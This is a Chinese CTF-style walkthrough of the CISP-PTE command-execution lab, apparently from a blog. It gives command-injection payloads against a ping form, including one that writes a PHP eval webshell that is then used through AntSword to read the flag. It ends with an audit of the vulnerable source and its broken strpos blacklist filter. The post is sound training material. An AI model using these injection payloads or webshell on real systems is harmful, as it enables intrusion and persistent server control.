CISP-PTE 命令执行1

目录

一、渗透实战

1、打开靶场

2、命令执行获取flag

(1)查看当前目录

(2)查看上一层目录

(3)执行查看flag命令

(4)右键元素查看flag

(5)右键源码查看flag

3、写入木马

[(1)第一部分:ping 127.0.0.1](#(1)第一部分:ping 127.0.0.1)

[(2)第二部分:echo -e " ">mooyuan.php](#(2)第二部分:echo -e " ">mooyuan.php)

(3)为何要加入\转义符

4、浏览器hackbar访问

5、蚁剑工具访问

6、蚁剑工具获取flag

二、源码分析

1、查看fu1.php源码

2、查看function.php源码

3、代码审计


本文详细讲解CISP-PTE靶场命令执行关卡渗透实战全流程。通过分析靶场页面提示,利用Linux命令注入漏洞,先后完成目录遍历、flag获取和木马写入操作。重点演示了如何构造Payload绕过过滤机制,包括使用分号分隔命令、转义特殊字符等技巧。随后使用蚁剑工具成功连接Webshell并获取flag。源码审计部分揭示了关键漏洞:filter函数因错误使用strpos返回值判断导致黑名单过滤完全失效,致使系统可直接执行任意命令。该案例完整呈现了从漏洞发现到利用的全过程,并分析了代码层面的安全缺陷。

一、渗透实战

1、打开靶场

打开靶场,页面提示" 命令执行是指攻击者通过浏览器或者其他客户端软件提交一些cmd命令(或者bash命令)至服务器程序,服务器程序通过system、eval、exec等函数直接或者间接地调用cmd.exe执行攻击者提交的命令。 通过你所学到的知识,通过执行Linux命令获取webshell,答案就在根目录下key.php文件中。 请开始答题!"

复制代码
http://9adba4d9.clsadp.com/

点击进入答题,如下所示进入到如下"验证主机是否存活"的页面。

复制代码
http://9adba4d9.clsadp.com/vulnerabilities/fu1.php

2、命令执行获取flag

(1)查看当前目录

127.0.0.1&ls

输出信息为:footer.php fu1.php function.php index.php nav1.php nav1.php

(2)查看上一层目录

根据当前URL:http://9adba4d9.clsadp.com/vulnerabilities/fu1.php,可知当前fu.php在根目录的vulnerabilities文件夹中,故而上一层目录就是网站根目录,/var/www/html

127.0.0.1&ls ..

输出结果为: css fonts footer.php index.php js key.php nav.php vulnerabilities

接下来我们尝试直接访问网站根目录,payload:127.0.0.1&ls /var/www/html

输出结果与ls ..一致: css fonts footer.php index.php js key.php nav.php vulnerabilities

(3)执行查看flag命令

接下来使用cat ../key.php查看key文件,如下所示页面输出"Get it"。

127.0.0.1&cat ../key.php

(4)右键元素查看flag

右键元素查看flag,如下所示。

(5)右键源码查看flag

右键源码查看flag,如下所示。

3、写入木马

执行 echo -e "<?php @eval(\$_POST[ljn]);?>">mooyuan.php命令生成木马,完整组合后的Payload如下所示。

127.0.0.1;echo -e "<?php @eval(\$_POST[ljn]);?>">mooyuan.php

(1)第一部分:ping 127.0.0.1

  • 执行正常的ping命令,ping回环地址

  • 目的是伪装和混淆,让命令看起来像正常的网络诊断

(2)第二部分:echo -e "<?php @eval(\$_POST[ljn]);?>">mooyuan .php

  • echo -e - 启用转义字符解释

  • <?php @eval(\$_POST[ljn]);?> - 一句话木马代码

  • >mooyuan .php - 输出重定向,创建mooyuan.php文件

(3)为何要加入\转义符

  • 防止变量提前展开

在Shell环境中,$符号用于变量引用:

复制代码
# 如果没有转义,Shell会尝试解析$_POST
echo "<?php @eval($_POST[ljn]);?>"  # Shell会寻找$_POST变量(不存在)
  • 确保PHP代码完整性

通过转义\$,确保$_POST这个PHP变量名原样写入文件:

复制代码
# 转义后
echo "<?php @eval(\$_POST[ljn]);?>"  # 输出:<?php @eval($_POST[ljn);?>

# 未转义(错误)
echo "<?php @eval($_POST[ljn]);?>"   # 输出:<?php @eval([ljn]);?> (变量被展开为空)

4、浏览器hackbar访问

复制代码
http://8fe110c0.clsadp.com/mooyuan3.php
ljn=phpinfo();

5、蚁剑工具访问

复制代码
http://9adba4d9.clsadp.com/vulnerabilities/mooyuan.php
密码ljn

6、蚁剑工具获取flag

/var/www/html/key.php

二、源码分析

1、查看fu1.php源码

打开/var/www/html/vulnerabilities/fu1.php源码文件,内容如下所示。

代码实现了一个存在安全漏洞的主机存活检测功能,通过POST表单接收用户输入的cmd参数并调用filter函数进行安全检查。如果filter返回true则使用system函数执行ping -c 1 $cmd命令来检测目标主机连通性,否则显示"敏感字符"错误提示。然而代码存在严重安全隐患:直接将未经充分过滤的用户输入拼接进系统命令,且依赖的filter函数存在逻辑缺陷(错误使用strpos返回值判断),导致黑名单过滤机制失效。攻击者可通过分号、管道符等实现命令注入,执行任意系统指令,属于典型的命令执行漏洞场景,严重威胁服务器安全。完整源码如下所示。

复制代码
<!DOCTYPE html>
<html>
  <head>
    <meta charset="gb2312">
    <title>CISP-PTE 认证考试</title>
    <link rel="stylesheet" href="../css/materialize.min.css">

  </head>
  <body>
<div class="container">

  <?php error_reporting(0); ?>

<!-- Navbar goes here -->

   <!-- Page Layout here -->
   <div class="row">

     <div class="col s3">
       <?php 
     		include("nav1.php"); 
         	
         	include("function.php"); 
         ?>
     </div>

     <div class="col s9">
       <h5>基础题目之命令执行</h5>
       <b>描述</b>
       <p>请开始答题</p>
       <div class="card  teal lighten-1">
            <div class="card-content white-text">
              <span class="card-title">验证主机是否存活</span>
              
              <form method=POST enctype="multipart/form-data" action="">
                      <input type="text" name="cmd">
                      <input type=submit value="提交"></form>

            </div>
            <div class="card-action">
            	
                 <?php 
                 	 
                 	 $cmd = $_POST["cmd"];
                 	 
                 	 if (filter($cmd))
                 	 {
                 	 	echo system("ping -c 1 $cmd"); 
                 	 }
                 	 else
                 	 {
                 	 	 echo "你输入的命令包含敏感字符!请检查命令是否填写正确!";
                 	 }
                  ?>
                 	 
            </div>
          </div>

     </div>

   </div>

</div>
		 <p align="center"><?php include("footer.php"); ?> </p>
  </body>
</html>

2、查看function.php源码

打开/var/www/html/vulnerabilities/function.php源码文件分析filter函数,如下所示。

3、代码审计

这段PHP代码设计了一个命令安全过滤函数,通过预定义的黑名单数组(包含ls、echo、cat、more、sort、vi等6个常见系统命令)对用户输入命令进行安全检查。函数使用strpos遍历检测输入内容是否包含危险命令关键词,发现则返回false拒绝执行,否则返回true允许通过。然而该代码存在严重逻辑缺陷:strpos函数返回的是位置索引或false,而条件判断误用"=== true"使得过滤机制完全失效,因为strpos永远不会返回布尔值true。正确的写法应使用"!== false"进行检测,此错误导致黑名单过滤功能无效,无法实际防护命令注入攻击,属于典型的安全代码实现缺陷。注释后的源码如下所示。

复制代码
<?php

/**
 * 命令过滤函数
 * 功能:检查输入命令是否包含危险命令,实现安全过滤
 */
function filter($cmd)
{
	// 定义危险命令黑名单数组
	// 包含常见的文件操作和系统命令
	$cmdarrays = array("ls", "echo", "cat", "more", "sort", "vi");
	
	// 遍历黑名单数组,检查输入命令是否包含危险命令
	foreach ($cmdarrays as &$value )
	{
		// 使用strpos检查命令字符串中是否包含黑名单词汇
		// 注意:这里使用了=== true,但strpos返回的是位置索引或false
		// 这实际上是一个逻辑错误,应该使用!== false
		if (strpos($cmd, $value) === true)
		{
			return false;  // 检测到危险命令,返回false拒绝执行
		}
	}
	return true;  // 未检测到危险命令,返回true允许执行
}
	
?>

关键漏洞 :第11行的条件判断 === true 是错误的,因为:

  • strpos() 返回找到字符串的位置(0,1,2...)或 false

  • 应该使用 !== false 来检查是否找到

  • 当前代码实际上永远不会触发过滤,因为strpos永远不会返回true

正确写法

复制代码
if (strpos($cmd, $value) !== false)
{
    return false;
}

这个看似简单的语法错误使得整个安全过滤机制完全失效,体现了安全代码中细节的重要性。

相关推荐
LQxdp8 天前
Java 表达式命令执行
命令执行·el 表达式·java 安全
码农12138号11 天前
Bugku HackINI 2022 Whois 详解
linux·web安全·ctf·命令执行·bugku·换行符
吴师兄搞网安2 个月前
CISP-PTE认证考试靶场
cisp-pte
mooyuan天天3 个月前
CTFHub RCE通关笔记1:eval执行(两种方法渗透)
rce·eval·命令执行·ctfhub
爱隐身的官人3 个月前
ctfshow - web - 命令执行漏洞总结(二)
php·命令执行
泪不是Web妳而流7 个月前
【CTFSHOW_Web入门】命令执行
web安全·网络安全·php·linux命令·rce·命令执行·ctfshow命令执行wp题解
摸鱼也很难8 个月前
[GXYCTF2019]Ping Ping Ping
ctf·命令执行
脸红ฅฅ*的思春期1 年前
CTFshow—远程命令执行
命令执行·ctf-show
一路向北_.1 年前
CTFshow 命令执行 web37-web40
网络安全·web·命令执行